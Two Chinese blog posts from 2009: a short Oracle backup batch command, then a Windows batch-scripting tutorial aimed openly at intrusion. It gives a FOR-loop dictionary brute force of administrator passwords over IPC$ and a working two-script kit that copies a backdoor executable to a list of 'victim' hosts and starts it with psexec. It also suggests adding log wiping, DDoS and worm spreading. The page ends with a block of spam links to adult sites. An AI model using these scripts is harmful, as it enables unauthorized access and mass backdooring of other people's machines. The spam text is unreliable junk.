             下面是一段批處理命令,用于數(shù)據(jù)庫備份,最終文件備份格式:2009-03-07.dmp ("2009-03-07"為當(dāng)天日期)
    for /"usebackq delims= " %%i IN (`date /t`) DO exp system/manager@orcl file=E:\%%i.dmp 
            
             然后調(diào)用win的任務(wù)計(jì)劃,按照需要調(diào)用該批處理即可。
        
           


           
    posted @ 2009-03-07 10:33 moonandsun 閱讀(623) | 評(píng)論 (0)編輯 收藏
    1.Echo 命令
    打開回顯或關(guān)閉請(qǐng)求回顯功能,或顯示消息。如果沒有任何參數(shù),echo 命令將顯示當(dāng)前回顯設(shè)置。
    語法
    echo [{on|off}] [message]
    Sample:echo off / echo hello world
    在實(shí)際應(yīng)用中我們會(huì)把這條命令和重定向符號(hào)(也稱為管道符號(hào),一般用> >> ^)結(jié)合來實(shí)現(xiàn)輸入一些命令到特定格式的文件中.這將在以后的例子中體現(xiàn)出來。

    2.@ 命令
    表示不顯示@后面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬盤)自然不能讓對(duì)方看到你使用的命令啦。
    Sample:@echo off
    @echo Now initializing the program,please wait a minite...
    @format X: /q/u/autoset (format 這個(gè)命令是不可以使用/y這個(gè)參數(shù)的,可喜的是微軟留了個(gè)autoset這個(gè)參數(shù)給我們,效果和/y是一樣的。)

    3.Goto 命令
    指定跳轉(zhuǎn)到標(biāo)簽,找到標(biāo)簽后,程序?qū)⑻幚韽南乱恍虚_始的命令。
    語法:goto label (label是參數(shù),指定所要轉(zhuǎn)向的批處理程序中的行。)
    Sample:
    if {%1}=={} goto noparms
    if {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,后面會(huì)有詳細(xì)的解釋。)
    @Rem check parameters if null show usage
    :noparms
    echo Usage: monitor.bat ServerIP PortNumber
    goto end
    標(biāo)簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個(gè):用來表示這個(gè)字母是標(biāo)簽,goto命令就是根據(jù)這個(gè):來尋找下一步跳到到那里。最好有一些說明這樣你別人看起來才會(huì)理解你的意圖啊。

    4.Rem 命令
    注釋命令,在C語言中相當(dāng)與/*--------*/,它并不會(huì)被執(zhí)行,只是起一個(gè)注釋的作用,便于別人閱讀和你自己日后修改。
    Rem Message
    Sample:@Rem Here is the description.

    5.Pause 命令
    運(yùn)行 Pause 命令時(shí),將顯示下面的消息:
    Press any key to continue . . .
    Sample:
    @echo off
    :begin
    copy a:*.* d:\back
    echo Please put a new disk into driver A
    pause
    goto begin
    在這個(gè)例子中,驅(qū)動(dòng)器 A 中磁盤上的所有文件均復(fù)制到d:\back中。顯示的注釋提示您將另一張磁盤放入驅(qū)動(dòng)器 A 時(shí),pause 命令會(huì)使程序掛起,以便您更換磁盤,然后按任意鍵繼續(xù)處理。

    6.Call 命令
    從一個(gè)批處理程序調(diào)用另一個(gè)批處理程序,并且不終止父批處理程序。call 命令接受用作調(diào)用目標(biāo)的標(biāo)簽。如果在腳本或批處理文件外使用 Call,它將不會(huì)在命令行起作用。
    語法
    call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
    參數(shù)
    [Drive:}[Path] FileName
    指定要調(diào)用的批處理程序的位置和名稱。filename 參數(shù)必須具有 .bat 或 .cmd 擴(kuò)展名。

    7.start 命令
    調(diào)用外部程序,所有的DOS命令和命令行程序都可以由start命令來調(diào)用。
    入侵常用參數(shù):
    MIN 開始時(shí)窗口最小化
    SEPARATE 在分開的空間內(nèi)開始 16 位 Windows 程序
    HIGH 在 HIGH 優(yōu)先級(jí)類別開始應(yīng)用程序
    REALTIME 在 REALTIME 優(yōu)先級(jí)類別開始應(yīng)用程序
    WAIT 啟動(dòng)應(yīng)用程序并等候它結(jié)束
    parameters 這些為傳送到命令/程序的參數(shù)
    執(zhí)行的應(yīng)用程序是 32-位 GUI 應(yīng)用程序時(shí),CMD.EXE 不等應(yīng)用程序終止就返回命令提示。如果在命令腳本內(nèi)執(zhí)行,該新行為則不會(huì)發(fā)生。
    8.choice 命令
    choice 使用此命令可以讓用戶輸入一個(gè)字符,從而運(yùn)行不同的命令。使用時(shí)應(yīng)該加/c:參數(shù),c:后應(yīng)寫提示可輸入的字符,之間無空格。它的返回碼為1234……

    如: choice /c:dme defrag,mem,end
    將顯示
    defrag,mem,end[D,M,E]?
    Sample:
    Sample.bat的內(nèi)容如下:
    @echo off
    choice /c:dme defrag,mem,end
    if errorlevel 3 goto defrag (應(yīng)先判斷數(shù)值最高的錯(cuò)誤碼)
    if errorlevel 2 goto mem
    if errotlevel 1 goto end

    :defrag
    c:\dos\defrag
    goto end
    :mem
    mem
    goto end
    :end
    echo good bye

    此文件運(yùn)行后,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然后if語句將作出判斷,d表示執(zhí)行標(biāo)號(hào)為defrag的程序段,m表示執(zhí)行標(biāo)號(hào)為mem的程序段,e表示執(zhí)行標(biāo)號(hào)為end的程序段,每個(gè)程序段最后都以goto end將程序跳到end標(biāo)號(hào)處,然后程序?qū)@示good bye,文件結(jié)束。

    9.If 命令

    if 表示將判斷是否符合規(guī)定的條件,從而決定執(zhí)行不同的命令。 有三種格式:
    1、if "參數(shù)" == "字符串" 待執(zhí)行的命令
    參數(shù)如果等于指定的字符串,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。(注意是兩個(gè)等號(hào))
    如if "%1"=="a" format a:
    if {%1}=={} goto noparms
    if {%2}=={} goto noparms

    2、if exist 文件名 待執(zhí)行的命令
    如果有指定的文件,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。
    如if exist config.sys edit config.sys

    3、if errorlevel / if not errorlevel 數(shù)字 待執(zhí)行的命令
    如果返回碼等于指定的數(shù)字,則條件成立,運(yùn)行命令,否則運(yùn)行下一句。
    如if errorlevel 2 goto x2
    DOS程序運(yùn)行時(shí)都會(huì)返回一個(gè)數(shù)字給DOS,稱為錯(cuò)誤碼errorlevel或稱返回碼,常見的返回碼為0、1。

    10.for 命令
    for 命令是一個(gè)比較復(fù)雜的命令,主要用于參數(shù)在指定的范圍內(nèi)循環(huán)執(zhí)行命令。
    在批處理文件中使用 FOR 命令時(shí),指定變量請(qǐng)使用 %%variable

    for {%variable|%%variable} in (set) do command [ CommandLineOptions]
    %variable 指定一個(gè)單一字母可替換的參數(shù)。
    (set) 指定一個(gè)或一組文件。可以使用通配符。
    command 指定對(duì)每個(gè)文件執(zhí)行的命令。
    command-parameters 為特定命令指定參數(shù)或命令行開關(guān)。
    在批處理文件中使用 FOR 命令時(shí),指定變量請(qǐng)使用 %%variable
    而不要用 %variable。變量名稱是區(qū)分大小寫的,所以 %i 不同于 %I

    如果命令擴(kuò)展名被啟用,下列額外的 FOR 命令格式會(huì)受到
    支持:

    FOR /D %variable IN (set) DO command [command-parameters]

    如果集中包含通配符,則指定與目錄名匹配,而不與文件
    名匹配。

    FOR /R [[drive:]path] %variable IN (set) DO command [command-

    檢查以 [drive:]path 為根的目錄樹,指向每個(gè)目錄中的
    FOR 語句。如果在 /R 后沒有指定目錄,則使用當(dāng)前
    目錄。如果集僅為一個(gè)單點(diǎn)(.)字符,則枚舉該目錄樹。

    FOR /L %variable IN (start,step,end) DO command [command-para

    該集表示以增量形式從開始到結(jié)束的一個(gè)數(shù)字序列。
    因此,(1,1,5) 將產(chǎn)生序列 1 2 3 4 5,(5,-1,1) 將產(chǎn)生
    序列 (5 4 3 2 1)。

    FOR /F ["options"] %variable IN (file-set) DO command
    FOR /F ["options"] %variable IN ("string") DO command
    FOR /F ["options"] %variable IN (command) DO command

    或者,如果有 usebackq 選項(xiàng):

    FOR /F ["options"] %variable IN (file-set) DO command
    FOR /F ["options"] %variable IN ("string") DO command
    FOR /F ["options"] %variable IN (command) DO command

    filenameset 為一個(gè)或多個(gè)文件名。繼續(xù)到 filenameset 中的
    下一個(gè)文件之前,每份文件都已被打開、讀取并經(jīng)過處理。
    處理包括讀取文件,將其分成一行行的文字,然后將每行
    解析成零或更多的符號(hào)。然后用已找到的符號(hào)字符串變量值
    調(diào)用 For 循環(huán)。以默認(rèn)方式,/F 通過每個(gè)文件的每一行中分開
    的第一個(gè)空白符號(hào)。跳過空白行。您可通過指定可選 "options"
    參數(shù)替代默認(rèn)解析操作。這個(gè)帶引號(hào)的字符串包括一個(gè)或多個(gè)
    指定不同解析選項(xiàng)的關(guān)鍵字。這些關(guān)鍵字為:

    eol=c - 指一個(gè)行注釋字符的結(jié)尾(就一個(gè))
    skip=n - 指在文件開始時(shí)忽略的行數(shù)。
    delims=xxx - 指分隔符集。這個(gè)替換了空格和跳格鍵的
    默認(rèn)分隔符集。
    tokens=x,y,m-n - 指每行的哪一個(gè)符號(hào)被傳遞到每個(gè)迭代
    的 for 本身。這會(huì)導(dǎo)致額外變量名稱的
    格式為一個(gè)范圍。通過 nth 符號(hào)指定 m
    符號(hào)字符串中的最后一個(gè)字符星號(hào),
    那么額外的變量將在最后一個(gè)符號(hào)解析之
    分配并接受行的保留文本。
    usebackq - 指定新語法已在下類情況中使用:
    在作為命令執(zhí)行一個(gè)后引號(hào)的字符串并且
    引號(hào)字符為文字字符串命令并允許在 fi
    中使用雙引號(hào)擴(kuò)起文件名稱。

    sample1:
    FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

    會(huì)分析 myfile.txt 中的每一行,忽略以分號(hào)打頭的那些行,將
    每行中的第二個(gè)和第三個(gè)符號(hào)傳遞給 for 程序體;用逗號(hào)和/或
    空格定界符號(hào)。請(qǐng)注意,這個(gè) for 程序體的語句引用 %i 來
    取得第二個(gè)符號(hào),引用 %j 來取得第三個(gè)符號(hào),引用 %k
    來取得第三個(gè)符號(hào)后的所有剩余符號(hào)。對(duì)于帶有空格的文件
    名,您需要用雙引號(hào)將文件名括起來。為了用這種方式來使
    用雙引號(hào),您還需要使用 usebackq 選項(xiàng),否則,雙引號(hào)會(huì)
    被理解成是用作定義某個(gè)要分析的字符串的。

    %i 專門在 for 語句中得到說明,%j 和 %k 是通過
    tokens= 選項(xiàng)專門得到說明的。您可以通過 tokens= 一行
    指定最多 26 個(gè)符號(hào),只要不試圖說明一個(gè)高于字母 z 或
    Z 的變量。請(qǐng)記住,F(xiàn)OR 變量是單一字母、分大小寫和全局的;
    同時(shí)不能有 52 個(gè)以上都在使用中。

    您還可以在相鄰字符串上使用 FOR /F 分析邏輯;方法是,
    用單引號(hào)將括號(hào)之間的 filenameset 括起來。這樣,該字符
    串會(huì)被當(dāng)作一個(gè)文件中的一個(gè)單一輸入行。

    最后,您可以用 FOR /F 命令來分析命令的輸出。方法是,將
    括號(hào)之間的 filenameset 變成一個(gè)反括字符串。該字符串會(huì)
    被當(dāng)作命令行,傳遞到一個(gè)子 CMD.EXE,其輸出會(huì)被抓進(jìn)
    內(nèi)存,并被當(dāng)作文件分析。因此,以下例子:

    FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

    會(huì)枚舉當(dāng)前環(huán)境中的環(huán)境變量名稱。

    另外,F(xiàn)OR 變量參照的替換已被增強(qiáng)。您現(xiàn)在可以使用下列
    選項(xiàng)語法:

    ~I - 刪除任何引號(hào)("),擴(kuò)充 %I
    %~fI - 將 %I 擴(kuò)充到一個(gè)完全合格的路徑名
    %~dI - 僅將 %I 擴(kuò)充到一個(gè)驅(qū)動(dòng)器號(hào)
    %~pI - 僅將 %I 擴(kuò)充到一個(gè)路徑
    %~nI - 僅將 %I 擴(kuò)充到一個(gè)文件名
    %~xI - 僅將 %I 擴(kuò)充到一個(gè)文件擴(kuò)展名
    %~sI - 擴(kuò)充的路徑只含有短名
    %~aI - 將 %I 擴(kuò)充到文件的文件屬性
    %~tI - 將 %I 擴(kuò)充到文件的日期/時(shí)間
    %~zI - 將 %I 擴(kuò)充到文件的大小
    %~$PATH:I - 查找列在路徑環(huán)境變量的目錄,并將 %I 擴(kuò)充
    到找到的第一個(gè)完全合格的名稱。如果環(huán)境變量
    未被定義,或者沒有找到文件,此組合鍵會(huì)擴(kuò)充
    空字符串

    可以組合修飾符來得到多重結(jié)果:

    %~dpI - 僅將 %I 擴(kuò)充到一個(gè)驅(qū)動(dòng)器號(hào)和路徑
    %~nxI - 僅將 %I 擴(kuò)充到一個(gè)文件名和擴(kuò)展名
    %~fsI - 僅將 %I 擴(kuò)充到一個(gè)帶有短名的完整路徑名
    %~dp$PATH:i - 查找列在路徑環(huán)境變量的目錄,并將 %I 擴(kuò)充
    到找到的第一個(gè)驅(qū)動(dòng)器號(hào)和路徑。
    %~ftzaI - 將 %I 擴(kuò)充到類似輸出線路的 DIR

    在以上例子中,%I 和 PATH 可用其他有效數(shù)值代替。%~ 語法
    用一個(gè)有效的 FOR 變量名終止。選取類似 %I 的大寫變量名
    比較易讀,而且避免與不分大小寫的組合鍵混淆。

    以上是MS的官方幫助,下面我們舉幾個(gè)例子來具體說明一下For命令在入侵中的用途。

    sample2:

    利用For命令來實(shí)現(xiàn)對(duì)一臺(tái)目標(biāo)Win2k主機(jī)的暴力密碼破解。
    我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標(biāo)主機(jī)進(jìn)行連接,當(dāng)成功時(shí)記下密碼。
    最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
    用i%來表示admin的密碼,在dict.txt中這個(gè)取i%的值用net use 命令來連接。然后將程序運(yùn)行結(jié)果傳遞給find命令--
    for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,這樣就ko了。

    sample3:

    你有沒有過手里有大量肉雞等著你去種后門+木馬呢?,當(dāng)數(shù)量特別多的時(shí)候,原本很開心的一件事都會(huì)變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復(fù)性任務(wù)。那么如何實(shí)現(xiàn)呢?呵呵,看下去你就會(huì)明白了。

    主要命令也只有一條:(在批處理文件中使用 FOR 命令時(shí),指定變量使用 %%variable)
    @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
    tokens的用法請(qǐng)參見上面的sample1,在這里它表示按順序?qū)ictim.txt中的內(nèi)容傳遞給door.bat中的參數(shù)%i %j %k。
    而cultivate.bat無非就是用net use命令來建立IPC$連接,并copy木馬+后門到victim,然后用返回碼(If errorlever =)來篩選成功種植后門的主機(jī),并echo出來,或者echo到指定的文件。
    delims= 表示vivtim.txt中的內(nèi)容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內(nèi)容是什么樣的了。應(yīng)該根據(jù)%%i %%j %%k表示的對(duì)象來排列,一般就是 ip password username。
    代碼雛形:

    --------------- cut here then save as a batchfile(I call it main.bat ) --------------------
    @echo off
    @if "%1"=="" goto usage
    @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
    @goto end
    :usage
    @echo run this batch in dos modle.or just double-click it.
    :end
    --------------- cut here then save as a batchfile(I call it main.bat ) --------------------

    ------------------- cut here then save as a batchfile(I call it door.bat) -----------------
    @net use \\%1\ipc$ %3 /u:"%2"
    @if errorlevel 1 goto failed
    @echo Trying to establish the IPC$ connection …………OK
    @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
    @p***ec \\%1 c:\winnt\system32\windrv32.exe
    @p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
    :failed
    @echo Sorry can not connected to the victim.
    ----------------- cut here then save as a batchfile(I call it door.bat) -------------------
    這只是一個(gè)自動(dòng)種植后門批處理的雛形,兩個(gè)批處理和后門程序(Windrv32.exe),PSexec.exe需放在統(tǒng)一目錄下.批處理內(nèi)容
    尚可擴(kuò)展,例如:加入清除日志+DDOS的功能,加入定時(shí)添加用戶的功能,更深入一點(diǎn)可以使之具備自動(dòng)傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.
    posted @ 2009-03-07 10:02 moonandsun 閱讀(167) | 評(píng)論 (0)編輯 收藏
    主站蜘蛛池模板: 亚洲AV永久无码精品水牛影视| 高清国语自产拍免费视频国产| 国产日韩久久免费影院| 白白色免费在线视频| 国产精品无码亚洲精品2021| 亚洲精品乱码久久久久蜜桃| 一本天堂ⅴ无码亚洲道久久| 亚洲性色精品一区二区在线| 亚洲精品无码专区在线播放| 亚洲国产成人无码AV在线| 亚洲精品色在线网站| 四虎影视久久久免费观看| 七次郎成人免费线路视频| 久久国产精品免费一区二区三区| 国产免费久久精品丫丫| 黄网站免费在线观看| 久久国产色AV免费观看| 免费看男女下面日出水来| 免费国产黄线在线观看| 免费羞羞视频网站| 亚洲精品专区在线观看| 亚洲精品国产美女久久久| 亚洲综合一区二区精品导航| 亚洲乱码一二三四区麻豆| 亚洲成av人片在www鸭子| 成人久久久观看免费毛片| 在线看片免费人成视频福利| **aaaaa毛片免费同男同女| 毛片免费观看网站| 亚洲AⅤ视频一区二区三区| 国产成人综合亚洲AV第一页| 久久亚洲精品无码aⅴ大香 | 久久久久久国产a免费观看黄色大片| 中文字幕无码视频手机免费看| 日本一道一区二区免费看| 国产偷国产偷亚洲高清日韩| 久久久久亚洲精品日久生情| 亚洲色大网站WWW永久网站| av电影在线免费看| 18禁男女爽爽爽午夜网站免费| 日本无吗免费一二区|